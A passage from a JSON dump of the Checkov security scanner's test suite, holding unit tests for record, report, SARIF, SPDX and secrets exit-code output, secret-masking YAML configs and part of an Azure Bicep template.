    "content": "import pytest\n\nfrom checkov.common.output.record import Record\n\n\n@pytest.mark.parametrize(\n    \"input_path,expected_path\",\n    [\n        (\"s3\\\\main.tf\", \"/s3/main.tf\"),\n        (\"s3/main.tf\", \"/s3/main.tf\"),\n        (\"/abs_path/to/s3/main.tf\", \"/abs_path/to/s3/main.tf\"),\n        (\"../../s3/main.tf\", \"/s3/main.tf\"),\n    ],\n    ids=[\"windows\", \"rel_path\", \"abs_path\", \"recursive_rel_path\"],\n)\ndef test_determine_repo_file_path(input_path: str, expected_path: str):\n    assert Record._determine_repo_file_path(input_path) == expected_path\n\n\ndef test_from_reduced_json(json_reduced_check):\n    # Act\n    record = Record.from_reduced_json(json_reduced_check)\n\n    # Assert\n    assert record.check_id == 'CKV_GHA_1'\n    assert record.check_name == 'Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn\\u0027t true on environment variables'\n    assert record.check_result == {\n            \"result\": \"PASSED\",\n            \"results_configuration\": {}\n        }\n    assert record.resource == 'jobs(container-test-job)'\n    assert record.file_path == '/.github/workflows/image_no_violation.yml'\n    assert record.file_line_range == [7, 7]\n    assert record.file_abs_path == '/tmp/checkov/elturgeman6/elturgeman/supplygoat1/main/src/.github/workflows/image_no_violation.yml'\n    assert record.code_block == [\n            [\n                7,\n                \"    runs-on: ubuntu-latest\\n\"\n            ],\n        ]\n    assert record.bc_check_id == 'BC_REPO_GITHUB_ACTION_1'\n"
  },
  {
    "path": "tests/common/output/test_report.py",
    "content": "from checkov.common.output.report import Report\n\n\ndef test_from_reduced_json(json_reduced_report):\n    # Act\n    report = Report.from_reduced_json(json_reduced_report, 'mock_check_type')\n\n    # Assert\n    assert len(report.failed_checks) == 1\n    assert len(report.passed_checks) == 1\n\n    failed_check = report.failed_checks[0]\n    passed_check = report.passed_checks[0]\n\n    assert failed_check.check_id == 'CKV_GHA_2'\n    assert failed_check.check_name == 'Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn\\u0027t true on environment variables'\n    assert failed_check.check_result == {\n        \"result\": \"FAILED\",\n        \"results_configuration\": {}\n    }\n    assert failed_check.resource == 'jobs(container-test-job)'\n    assert failed_check.file_path == '/.github/workflows/image_no_violation.yml'\n    assert failed_check.file_line_range == [7, 7]\n    assert failed_check.file_abs_path == '/tmp/checkov/elturgeman6/elturgeman/supplygoat1/main/src/.github/workflows/image_no_violation.yml'\n    assert failed_check.code_block == [\n        [\n            7,\n            \"    runs-on: ubuntu-latest\\n\"\n        ],\n    ]\n    assert failed_check.bc_check_id == 'BC_REPO_GITHUB_ACTION_1'\n\n    assert passed_check.check_id == 'CKV_GHA_1'\n    assert passed_check.check_name == 'Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn\\u0027t true on environment variables'\n    assert passed_check.check_result == {\n        \"result\": \"PASSED\",\n        \"results_configuration\": {}\n    }\n    assert passed_check.resource == 'jobs(container-test-job)'\n    assert passed_check.file_path == '/.github/workflows/image_no_violation.yml'\n    assert passed_check.file_line_range == [7, 7]\n    assert passed_check.file_abs_path == '/tmp/checkov/elturgeman6/elturgeman/supplygoat1/main/src/.github/workflows/image_no_violation.yml'\n    assert passed_check.code_block == [\n        [\n            7,\n            \"    runs-on: ubuntu-latest\\n\"\n        ],\n    ]\n    assert passed_check.bc_check_id == 'BC_REPO_GITHUB_ACTION_1'\n\n\ndef test_get_plan_resource_raw_id_1():\n    resource_id = Report.get_plan_resource_raw_id(\"module.vnet[0].azurerm_subnet.subnet_for_each['snet-commonservices']\")\n    assert resource_id == 'azurerm_subnet.subnet_for_each'\n\n\ndef test_get_plan_resource_raw_id_2():\n    resource_id = Report.get_plan_resource_raw_id(\"module.vnet[0].azurerm_subnet.subnet_for_each[1]\")\n    assert resource_id == 'azurerm_subnet.subnet_for_each'\n\n\ndef test_get_plan_resource_raw_id_3():\n    resource_id = Report.get_plan_resource_raw_id(\"module.vnet[0].azurerm_subnet.subnet_for_each\")\n    assert resource_id == 'azurerm_subnet.subnet_for_each'\n\n\ndef test_get_plan_resource_raw_id_4():\n    resource_id = Report.get_plan_resource_raw_id(\"module.vnet.azurerm_subnet.subnet_for_each\")\n    assert resource_id == 'azurerm_subnet.subnet_for_each'\n\n\ndef test_get_plan_resource_raw_id_5():\n    resource_id = Report.get_plan_resource_raw_id(\"aws_route53_zone.example[\\\"example.com\\\"]\")\n    assert resource_id == 'aws_route53_zone.example'\n\n\ndef test_get_plan_resource_raw_id_6():\n    resource_id = Report.get_plan_resource_raw_id(\"module.sg[\\\"bad_example\\\"].aws_security_group.bad\")\n    assert resource_id == 'aws_security_group.bad'\n\n\ndef test_get_plan_resource_raw_id_7():\n    resource_id = Report.get_plan_resource_raw_id(\"type.name\")\n    assert resource_id == 'type.name'\n"
  },
  {
    "path": "tests/common/output/test_sarif_report.py",
    "content": "from __future__ import annotations\n\nimport unittest\nimport json\nfrom typing import Any\n\nimport jsonschema\nimport urllib.request\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.report import Report\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.sarif import Sarif\n\n\nclass TestSarifReport(unittest.TestCase):\n    def test_valid_passing_valid_testcases(self):\n        # given\n        record1 = get_ckv_aws_21_record()\n        record1.set_guideline(\"https://docs.bridgecrew.io/docs/s3_16-enable-versioning\")\n\n        record2 = Record(\n            check_id=\"CKV_AWS_3\",\n            check_name=\"Ensure all data stored in the EBS is securely encrypted\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[\n                (5, 'resource aws_ebs_volume \"web_host_storage\" {\\n'),\n                (6, '  availability_zone = \"us-west-2a\"\\n'),\n                (7, \"}\\n\"),\n            ],\n            file_path=\"./ec2.tf\",\n            file_line_range=[5, 7],\n            resource=\"aws_ebs_volume.web_host_storage\",\n            evaluations=None,\n            check_class=None,\n            file_abs_path=\"/path to/ec2.tf\",  # spaces should be handled correctly\n            entity_tags={\"tag1\": \"value1\"},\n        )\n        record2.set_guideline(\"https://docs.bridgecrew.io/docs/general_7\")\n\n        r = Report(\"terraform\")\n        r.add_record(record=record1)\n        r.add_record(record=record2)\n\n        #  when\n        sarif = Sarif(reports=[r], tool=\"\")\n\n        # then\n        self.assertEqual(\n            None,\n            jsonschema.validate(instance=sarif.json, schema=get_sarif_schema()),\n        )\n\n        sarif.json[\"runs\"][0][\"tool\"][\"driver\"][\"version\"] = \"9.9.9\"  # override the version\n\n        self.assertDictEqual(\n            sarif.json,\n            {\n                \"$schema\": \"https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json\",\n                \"version\": \"2.1.0\",\n                \"runs\": [\n                    {\n                        \"tool\": {\n                            \"driver\": {\n                                \"name\": \"Bridgecrew\",\n                                \"version\": \"9.9.9\",\n                                \"informationUri\": \"https://docs.bridgecrew.io\",\n                                \"rules\": [\n                                    {\n                                        \"id\": \"CKV_AWS_21\",\n                                        \"name\": \"Some Check\",\n                                        \"shortDescription\": {\"text\": \"Some Check\"},\n                                        \"fullDescription\": {\"text\": \"Some Check\"},\n                                        \"help\": {\"text\": \"Some Check\\nResource: aws_s3_bucket.operations\"},\n                                        \"helpUri\": \"https://docs.bridgecrew.io/docs/s3_16-enable-versioning\",\n                                        \"defaultConfiguration\": {\"level\": \"error\"},\n                                    },\n                                    {\n                                        \"id\": \"CKV_AWS_3\",\n                                        \"name\": \"Ensure all data stored in the EBS is securely encrypted\",\n                                        \"shortDescription\": {\n                                            \"text\": \"Ensure all data stored in the EBS is securely encrypted\"\n                                        },\n                                        \"fullDescription\": {\n                                            \"text\": \"Ensure all data stored in the EBS is securely encrypted\"\n                                        },\n                                        \"help\": {\n                                            \"text\": \"Ensure all data stored in the EBS is securely encrypted\\nResource: aws_ebs_volume.web_host_storage\"\n                                        },\n                                        \"helpUri\": \"https://docs.bridgecrew.io/docs/general_7\",\n                                        \"defaultConfiguration\": {\"level\": \"error\"},\n                                    },\n                                ],\n                                \"organization\": \"bridgecrew\",\n                            }\n                        },\n                        \"results\": [\n                            {\n                                \"ruleId\": \"CKV_AWS_21\",\n                                \"ruleIndex\": 0,\n                                \"level\": \"error\",\n                                \"attachments\": [],\n                                \"message\": {\"text\": \"Some Check\"},\n                                \"locations\": [\n                                    {\n                                        \"physicalLocation\": {\n                                            \"artifactLocation\": {\"uri\": \"s3.tf\"},\n                                            \"region\": {\n                                                \"startLine\": 1,\n                                                \"endLine\": 3,\n                                                \"snippet\": {\n                                                    \"text\": 'resource aws_s3_bucket \"operations\" {\\n  bucket = \"example\"\\n}\\n'\n                                                },\n                                            },\n                                        }\n                                    }\n                                ],\n                            },\n                            {\n                                \"ruleId\": \"CKV_AWS_3\",\n                                \"ruleIndex\": 1,\n                                \"level\": \"error\",\n                                \"attachments\": [],\n                                \"message\": {\"text\": \"Ensure all data stored in the EBS is securely encrypted\"},\n                                \"locations\": [\n                                    {\n                                        \"physicalLocation\": {\n                                            \"artifactLocation\": {\"uri\": \"path%20to/ec2.tf\"},\n                                            \"region\": {\n                                                \"startLine\": 5,\n                                                \"endLine\": 7,\n                                                \"snippet\": {\n                                                    \"text\": 'resource aws_ebs_volume \"web_host_storage\" {\\n  availability_zone = \"us-west-2a\"\\n}\\n'\n                                                },\n                                            },\n                                        }\n                                    }\n                                ],\n                            },\n                        ],\n                    }\n                ],\n            },\n        )\n\n    def test_multiple_instances_of_same_rule_do_not_break_schema(self):\n        record1 = get_ckv_aws_21_record()\n        record1.set_guideline(\"\")\n\n        record2 = Record(\n            check_id=\"CKV_AWS_111\",\n            check_name=\"Ensure IAM policies does not allow write access without constraints\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[(1, \"some code\")],\n            file_path=\"./ec2.tf\",\n            file_line_range=[22, 25],\n            resource=\"aws_ebs_volume.web_host_storage\",\n            evaluations=None,\n            check_class=None,\n            file_abs_path=\",.\",\n            entity_tags={\"tag1\": \"value1\"},\n        )\n        record2.set_guideline(\"\")\n\n        record3 = Record(\n            check_id=\"CKV2_AWS_3\",\n            check_name=\"Ensure GuardDuty is enabled to specific org/region\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[(1, \"some code\")],\n            file_path=\"./ec2.tf\",\n            file_line_range=[1, 3],\n            resource=\"aws_ebs_volume.web_host_storage\",\n            evaluations=None,\n            check_class=None,\n            file_abs_path=\",.\",\n            entity_tags={\"tag1\": \"value1\"},\n        )\n        record3.set_guideline(\"\")\n\n        record4 = Record(\n            check_id=\"CKV2_AWS_3\",\n            check_name=\"Ensure GuardDuty is enabled to specific org/region\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[(1, \"some code\")],\n            file_path=\"./org.tf\",\n            file_line_range=[7, 10],\n            resource=\"aws_ebs_volume.web_host_storage\",\n            evaluations=None,\n            check_class=None,\n            file_abs_path=\",.\",\n            entity_tags={\"tag1\": \"value1\"},\n        )\n        record4.set_guideline(\"\")\n\n        record5 = Record(\n            check_id=\"CKV2_AWS_3\",\n            check_name=\"Ensure GuardDuty is enabled to specific org/region\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[(1, \"some code\")],\n            file_path=\"./org.tf\",\n            file_line_range=[15, 20],\n            resource=\"aws_ebs_volume.web_host_storage\",\n            evaluations=None,\n            check_class=None,\n            file_abs_path=\",.\",\n            entity_tags={\"tag1\": \"value1\"},\n        )\n        record5.set_guideline(\"\")\n\n        record6 = Record(\n            check_id=\"CKV2_AWS_3\",\n            check_name=\"Ensure GuardDuty is enabled to specific org/region\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[(1, \"some code\")],\n            file_path=\"./org.tf\",\n            file_line_range=[25, 28],\n            resource=\"aws_ebs_volume.web_host_storage\",\n            evaluations=None,\n            check_class=None,\n            file_abs_path=\",.\",\n            entity_tags={\"tag1\": \"value1\"},\n        )\n        record6.set_guideline(\"\")\n\n        record7 = Record(\n            check_id=\"CKV_AWS_107\",\n            check_name=\"Ensure IAM policies does not allow credentials exposure\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[(1, \"some code\")],\n            file_path=\"./ec2.tf\",\n            file_line_range=[30, 35],\n            resource=\"aws_ebs_volume.web_host_storage\",\n            evaluations=None,\n            check_class=None,\n            file_abs_path=\",.\",\n            entity_tags={\"tag1\": \"value1\"},\n        )\n        record7.set_guideline(\"\")\n\n        record8 = Record(\n            check_id=\"CKV_AWS_110\",\n            check_name=\"Ensure IAM policies does not allow privilege escalation\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[(1, \"some code\")],\n            file_path=\"./ec2.tf\",\n            file_line_range=[30, 35],\n            resource=\"aws_ebs_volume.web_host_storage\",\n            evaluations=None,\n            check_class=None,\n            file_abs_path=\",.\",\n            entity_tags={\"tag1\": \"value1\"},\n        )\n        record8.set_guideline(\"\")\n\n        record9 = Record(\n            check_id=\"CKV_AWS_110\",\n            check_name=\"Ensure IAM policies does not allow privilege escalation\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[(1, \"some code\")],\n            file_path=\"./ec2.tf\",\n            file_line_range=[38, 40],\n            resource=\"aws_ebs_volume.web_host_storage\",\n            evaluations=None,\n            check_class=None,\n            file_abs_path=\",.\",\n            entity_tags={\"tag1\": \"value1\"},\n        )\n        record9.set_guideline(\"\")\n\n        # Record with non-empty guideline\n        record10 = Record(\n            check_id=\"CKV_AWS_23\",\n            check_name=\"Some Check\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[(1, \"some code\")],\n            file_path=\"./s3.tf\",\n            file_line_range=[1, 3],\n            resource=\"aws_s3_bucket.operations\",\n            evaluations=None,\n            check_class=None,\n            file_abs_path=\",.\",\n            entity_tags={\"tag1\": \"value1\"},\n        )\n        record10.set_guideline(\"https://example.com\")\n\n        # Record without guideline\n        record11 = Record(\n            check_id=\"CKV_AWS_24\",\n            check_name=\"Some Check\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[(1, \"some code\")],\n            file_path=\"./s3.tf\",\n            file_line_range=[1, 3],\n            resource=\"aws_s3_bucket.operations\",\n            evaluations=None,\n            check_class=None,\n            file_abs_path=\",.\",\n            entity_tags={\"tag1\": \"value1\"},\n        )\n        # No guideline here\n\n        r = Report(\"terraform\")\n        r.add_record(record=record1)\n        r.add_record(record=record2)\n        r.add_record(record=record3)\n        r.add_record(record=record4)\n        r.add_record(record=record5)\n        r.add_record(record=record6)\n        r.add_record(record=record7)\n        r.add_record(record=record8)\n        r.add_record(record=record9)\n        r.add_record(record=record10)\n        r.add_record(record=record11)\n\n        sarif = Sarif(reports=[r], tool=\"\")\n\n        self.assertEqual(\n            None,\n            jsonschema.validate(instance=sarif.json, schema=get_sarif_schema()),\n        )\n        self.assertFalse(are_duplicates_in_sarif_rules(sarif.json))\n        self.assertTrue(are_rule_indexes_correct_in_results(sarif.json))\n        self.assertTrue(are_rules_without_help_uri_correct(sarif.json))\n\n    def test_non_url_guideline_link(self):\n        # given\n        record1 = get_ckv_aws_21_record()\n        record1.set_guideline(\"some random text\")\n\n        r = Report(\"terraform\")\n        r.add_record(record=record1)\n\n        #  when\n        sarif = Sarif(reports=[r], tool=\"\")\n\n        # then\n        self.assertEqual(\n            None,\n            jsonschema.validate(instance=sarif.json, schema=get_sarif_schema()),\n        )\n\n        sarif.json[\"runs\"][0][\"tool\"][\"driver\"][\"version\"] = \"9.9.9\"  # override the version\n\n        # sarif.json[\"runs\"][0][\"tool\"][\"driver\"][\"rules\"][0] shouldn't include key \"helpUri\"\n        self.assertDictEqual(\n            sarif.json,\n            {\n                \"$schema\": \"https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json\",\n                \"version\": \"2.1.0\",\n                \"runs\": [\n                    {\n                        \"tool\": {\n                            \"driver\": {\n                                \"name\": \"Bridgecrew\",\n                                \"version\": \"9.9.9\",\n                                \"informationUri\": \"https://docs.bridgecrew.io\",\n                                \"rules\": [\n                                    {\n                                        \"id\": \"CKV_AWS_21\",\n                                        \"name\": \"Some Check\",\n                                        \"shortDescription\": {\"text\": \"Some Check\"},\n                                        \"fullDescription\": {\"text\": \"Some Check\"},\n                                        \"help\": {\"text\": \"Some Check\\nResource: aws_s3_bucket.operations\"},\n                                        \"defaultConfiguration\": {\"level\": \"error\"},\n                                    }\n                                ],\n                                \"organization\": \"bridgecrew\",\n                            }\n                        },\n                        \"results\": [\n                            {\n                                \"ruleId\": \"CKV_AWS_21\",\n                                \"ruleIndex\": 0,\n                                \"level\": \"error\",\n                                \"attachments\": [],\n                                \"message\": {\"text\": \"Some Check\"},\n                                \"locations\": [\n                                    {\n                                        \"physicalLocation\": {\n                                            \"artifactLocation\": {\"uri\": \"s3.tf\"},\n                                            \"region\": {\n                                                \"startLine\": 1,\n                                                \"endLine\": 3,\n                                                \"snippet\": {\n                                                    \"text\": 'resource aws_s3_bucket \"operations\" {\\n  bucket = \"example\"\\n}\\n'\n                                                },\n                                            },\n                                        }\n                                    }\n                                ],\n                            }\n                        ],\n                    }\n                ],\n            },\n        )\n\n\ndef get_sarif_schema() -> dict[str, Any]:\n    file_name, headers = urllib.request.urlretrieve(\n        \"https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json\"\n    )\n    with open(file_name, \"r\") as file:\n        schema = json.load(file)\n    return schema\n\n\ndef get_ckv_aws_21_record() -> Record:\n    return Record(\n        check_id=\"CKV_AWS_21\",\n        check_name=\"Some Check\",\n        check_result={\"result\": CheckResult.FAILED},\n        code_block=[\n            (1, 'resource aws_s3_bucket \"operations\" {\\n'),\n            (2, '  bucket = \"example\"\\n'),\n            (3, \"}\\n\"),\n        ],\n        file_path=\"./s3.tf\",\n        file_line_range=[1, 3],\n        resource=\"aws_s3_bucket.operations\",\n        evaluations=None,\n        check_class=None,\n        file_abs_path=\"./s3.tf\",\n        entity_tags={\"tag1\": \"value1\"},\n    )\n\ndef are_duplicates_in_sarif_rules(sarif_json) -> bool:\n    rules = sarif_json[\"runs\"][0][\"tool\"][\"driver\"][\"rules\"]\n    ruleset = set()\n    for rule in rules:\n        ruleset.add(rule[\"id\"])\n\n    return len(rules) != len(ruleset)\n\n\ndef are_rule_indexes_correct_in_results(sarif_json) -> bool:\n    rules = sarif_json[\"runs\"][0][\"tool\"][\"driver\"][\"rules\"]\n    results = sarif_json[\"runs\"][0][\"results\"]\n    for rule in rules:\n        for result in results:\n            if result[\"ruleId\"] == rule[\"id\"]:\n                if result[\"ruleIndex\"] != rules.index(rule) or result[\"ruleIndex\"] > len(rules):\n                    return False\n    return True\n\n\ndef are_rules_without_help_uri_correct(sarif_json) -> bool:\n    rules = sarif_json[\"runs\"][0][\"tool\"][\"driver\"][\"rules\"]\n    results = sarif_json[\"runs\"][0][\"results\"]\n    for rule in rules:\n        if \"helpUri\" in rule:\n            if rule[\"helpUri\"] is None or rule[\"helpUri\"] == \"\":\n                return False\n    return True\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/common/output/test_secrets_get_exit_code.py",
    "content": "import argparse\n\nimport pytest\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.runners.runner_registry import RunnerRegistry\n\n\n@pytest.mark.parametrize(\n    \"soft_fail,soft_fail_checks,hard_fail_checks,expected_exit_code\",\n    [\n        (True, [], ['Valid'], 0),  # Soft fail overrides any check-specific definition\n        (True, ['Invalid'], ['Valid'], 0),  # Soft fail overrides any check-specific definition\n        (False, [], ['Valid'], 1),  # Hard fail on valid\n        (False, ['Valid'], ['Valid'], 1),  # Hard fail check wins same soft fail check\n        (False, [], ['Invalid'], 1),  # Hard fail on invalid\n        (False, [], ['Unknown'], 1),  # Hard fail on unknown\n        (False, ['Invalid', 'Valid', 'Unknown'], [], 0),  # Implicit soft fail on all statuses\n        (True, [], ['Invalid', 'Valid', 'Unknown'], 0),  # Soft fail wins Implicit hard fail on all statuses\n        (False, [], ['Invalid', 'Valid', 'Unknown'], 1),  # Implicit hard fail on all statuses\n        (False, [], [], 1),  # default\n        (True, [], [], 0)  # soft fail\n    ],\n)\ndef test_secrets_get_exit_code(secrets_report, soft_fail, soft_fail_checks, hard_fail_checks, expected_exit_code) -> None:\n    exit_code_thresholds = {'soft_fail': soft_fail, 'soft_fail_checks': soft_fail_checks,\n                            'soft_fail_threshold': None, 'hard_fail_checks': hard_fail_checks,\n                            'hard_fail_threshold': None}\n\n    assert secrets_report.get_exit_code(exit_code_thresholds) == expected_exit_code\n\n\n@pytest.mark.parametrize(\n    \"soft_fail,soft_fail_on,hard_fail_on,expected_soft_fail_checks,expected_hard_fail_checks\",\n    [\n        (False, None, None, [], []),  # default\n        (False, 'invalid', None, ['Invalid'], []),  # assigning correct casing\n        (False, 'invalid,valid,unknown', 'invalid,valid,unknown', ['Invalid', 'Valid', 'Unknown'], ['Invalid', 'Valid', 'Unknown'])  # assigning correct casing\n    ]\n)\ndef test_secrets_get_fail_threshold(soft_fail, soft_fail_on, hard_fail_on,\n                                    expected_soft_fail_checks, expected_hard_fail_checks) -> None:\n    config = argparse.Namespace(\n        soft_fail=soft_fail,\n        soft_fail_on=soft_fail_on,\n        hard_fail_on=hard_fail_on,\n        use_enforcement_rules=False\n    )\n\n    expected = {\n        'soft_fail': soft_fail,\n        'soft_fail_checks': expected_soft_fail_checks,\n        'soft_fail_threshold': None,\n        'hard_fail_checks': expected_hard_fail_checks,\n        'hard_fail_threshold': None\n    }\n\n    assert RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.SECRETS) == expected\n"
  },
  {
    "path": "tests/common/output/test_spdx.py",
    "content": "from datetime import datetime, timezone\n\nfrom time_machine import travel\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.output.extra_resource import ExtraResource\nfrom checkov.common.output.report import Report\nfrom checkov.common.output.spdx import SPDX\nfrom checkov.common.sca.output import create_report_cve_record\n\n\n@travel(datetime(2022, 12, 24, tzinfo=timezone.utc))\ndef test_sca_package_output():\n    # given\n    rootless_file_path = \"requirements.txt\"\n    file_abs_path = \"/path/to/requirements.txt\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    vulnerability_details = {\n        \"id\": \"CVE-2019-19844\",\n        \"status\": \"fixed in 3.0.1, 2.2.9, 1.11.27\",\n        \"cvss\": 9.8,\n        \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n        \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...\",\n        \"severity\": \"moderate\",\n        \"packageName\": \"django\",\n        \"packageVersion\": \"1.2\",\n        \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n        \"riskFactors\": [\"Attack complexity: low\", \"Attack vector: network\", \"Critical severity\", \"Has fix\"],\n        \"impactedVersions\": [\"<1.11.27\"],\n        \"publishedDate\": \"2019-12-18T20:15:00+01:00\",\n        \"discoveredDate\": \"2019-12-18T19:15:00Z\",\n        \"fixDate\": \"2019-12-18T20:15:00+01:00\",\n    }\n\n    record = create_report_cve_record(\n        rootless_file_path=rootless_file_path,\n        file_abs_path=file_abs_path,\n        check_class=check_class,\n        vulnerability_details=vulnerability_details,\n        licenses=\"OSI_BDS\",\n        package={\"package_registry\": \"https://registry.npmjs.org/\", \"is_private_registry\": False},\n    )\n    # also add a BC_VUL_2 record\n    bc_record = create_report_cve_record(\n        rootless_file_path=rootless_file_path,\n        file_abs_path=file_abs_path,\n        check_class=check_class,\n        vulnerability_details=vulnerability_details,\n        licenses=\"OSI_BDS\",\n        package={\"package_registry\": \"https://registry.npmjs.org/\", \"is_private_registry\": False},\n    )\n    bc_record.check_id = \"BC_VUL_2\"\n\n    report = Report(CheckType.SCA_PACKAGE)\n    report.add_resource(record.resource)\n    report.add_record(record)\n    report.add_record(bc_record)\n\n    report.extra_resources.add(\n        ExtraResource(\n            file_abs_path=file_abs_path,\n            file_path=f\"/{rootless_file_path}\",\n            resource=f\"{rootless_file_path}.testpkg\",\n            vulnerability_details={\"package_name\": \"testpkg\", \"package_version\": \"1.1.1\", \"licenses\": \"MIT\"},\n        )\n    )\n\n    # when\n    spdx = SPDX(repo_id=\"example\", reports=[report])\n\n    # override dynamic data\n    spdx.document.creation_info.document_namespace = \"https://spdx.org/spdxdocs/checkov-sbom-9.9.9\"\n\n    # then\n    output = spdx.get_tag_value_output()\n\n    # remove dynamic data\n    assert output == \"\".join(\n        [\n            \"## Document Information\\n\",\n            \"SPDXVersion: SPDX-2.3\\n\",\n            \"DataLicense: CC0-1.0\\n\",\n            \"SPDXID: SPDXRef-DOCUMENT\\n\",\n            \"DocumentName: checkov-sbom\\n\",\n            \"DocumentNamespace: https://spdx.org/spdxdocs/checkov-sbom-9.9.9\\n\",\n            \"\\n\",\n            \"## Creation Information\\n\",\n            \"Creator: Tool: checkov\\n\",\n            \"Creator: Organization: bridgecrew (meet@bridgecrew.io)\\n\",\n            \"Created: 2022-12-24T00:00:00Z\\n\",\n            \"\\n\",\n            \"## Package Information\\n\",\n            \"PackageName: django\\n\",\n            \"SPDXID: SPDXRef-django\\n\",\n            \"PackageVersion: 1.2\\n\",\n            \"PackageFileName: /requirements.txt\\n\",\n            \"PackageDownloadLocation: NONE\\n\",\n            \"FilesAnalyzed: true\\n\",\n            \"PackageLicenseInfoFromFiles: OSI_BDS\\n\",\n            \"\\n\",\n            \"## Package Information\\n\",\n            \"PackageName: testpkg\\n\",\n            \"SPDXID: SPDXRef-testpkg\\n\",\n            \"PackageVersion: 1.1.1\\n\",\n            \"PackageFileName: /requirements.txt\\n\",\n            \"PackageDownloadLocation: NONE\\n\",\n            \"FilesAnalyzed: true\\n\",\n            \"PackageLicenseInfoFromFiles: MIT\\n\",\n            \"\\n\",\n            \"\\n\",\n        ]\n    )\n"
  },
  {
    "path": "tests/common/resource_attr_to_omit_configs/combined.yml",
    "content": "mask:\n- aws_db_instance:storage_container_path\n- key2:storage_container_path\n- key3:admin_password\n- key4:admin_password,1\n- key5:plaintext\n- plaintext\n- key3:blabla\n- key4:blabla2,1,2\n- key5:admin_password\n- key6:admin_password\n- key7:plaintext"
  },
  {
    "path": "tests/common/resource_attr_to_omit_configs/duplicated_key.yml",
    "content": "mask:\n  - value\n  - azurerm_key_vault_secret:value\n"
  },
  {
    "path": "tests/common/resource_attr_to_omit_configs/first.yml",
    "content": "mask:\n- aws_db_instance:storage_container_path\n- key2:storage_container_path\n- key3:admin_password\n- key4:admin_password,1\n- key5:plaintext\n- plaintext"
  },
  {
    "path": "tests/common/resource_attr_to_omit_configs/multiple_keys.yml",
    "content": "mask:\n  - value\n  - azurerm_key_vault_secret:version\n"
  },
  {
    "path": "tests/common/resource_attr_to_omit_configs/real_keys.yml",
    "content": "mask:\n  - azurerm_key_vault_secret:value\n"
  },
  {
    "path": "tests/common/resource_attr_to_omit_configs/universal_key.yml",
    "content": "mask:\n  - value"
  },
  {
    "path": "tests/common/runner_registry/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/runner_registry/example_bicep_with_empty_resources/playground.bicep",
    "content": "@description('Virtual machine size (has to be at least the size of Standard_A3 to support 2 NICs)')\nparam virtualMachineSize string = 'Standard_DS1_v2'\n\n@description('Default Admin username')\nparam adminUsername string\n\n@description('Default Admin password')\n@secure()\nparam adminPassword string\n\n@description('Storage Account type for the VM and VM diagnostic storage')\n@allowed([\n  'Standard_LRS'\n  'Premium_LRS'\n])\nparam storageAccountType string = 'Standard_LRS'\n\n@description('Location for all resources.')\nparam location string = resourceGroup().location\n\nvar virtualMachineName = 'VM-MultiNic'\nvar nic1Name = 'nic-1'\nvar nic2Name = 'nic-2'\nvar virtualNetworkName = 'virtualNetwork'\nvar subnet1Name = 'subnet-1'\nvar subnet2Name = 'subnet-2'\nvar publicIPAddressName = 'publicIp'\nvar diagStorageAccountName = 'diags${uniqueString(resourceGroup().id)}'\nvar networkSecurityGroupName = 'NSG'\nvar networkSecurityGroupName2 = '${subnet2Name}-nsg'\n\n// This is the virtual machine that you're building.\nresource vm 'Microsoft.Compute/virtualMachines@2020-06-01' = {\n  name: virtualMachineName\n  location: location\n  properties: {\n    osProfile: {\n      computerName: virtualMachineName\n      adminUsername: adminUsername\n      adminPassword: adminPassword\n      windowsConfiguration: {\n        provisionVMAgent: true\n      }\n    }\n    hardwareProfile: {\n      vmSize: virtualMachineSize\n    }\n    storageProfile: {\n      imageReference: {\n        publisher: 'MicrosoftWindowsServer'\n        offer: 'WindowsServer'\n        sku: '2019-Datacenter'\n        version: 'latest'\n      }\n      osDisk: {\n        createOption: 'FromImage'\n      }\n    }\n    networkProfile: {\n      networkInterfaces: [\n        {\n          properties: {\n            primary: true\n          }\n          id: nic1.id\n        }\n        {\n          properties: {\n            primary: false\n          }\n          id: nic2.id\n        }\n      ]\n    }\n    diagnosticsProfile: {\n      bootDiagnostics: {\n        enabled: true\n        storageUri: diagsAccount.properties.primaryEndpoints.blob\n      }\n    }\n  }\n}\n\nresource diagsAccount 'Microsoft.Storage/storageAccounts@2019-06-01' = {\n  // checkov:skip=CKV_AZURE_35: just skip it\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n}\n\n// Simple Network Security Group for subnet2\nresource nsg2 'Microsoft.Network/networkSecurityGroups@2020-06-01' = {\n  name: networkSecurityGroupName2\n  location: location\n}\n\n// This will build a Virtual Network.\nresource vnet 'Microsoft.Network/virtualNetworks@2020-06-01' = {\n  name: virtualNetworkName\n  location: location\n  properties: {\n    addressSpace: {\n      addressPrefixes: [\n        '10.0.0.0/16'\n      ]\n    }\n    subnets: [\n      {\n        name: subnet1Name\n        properties: {\n      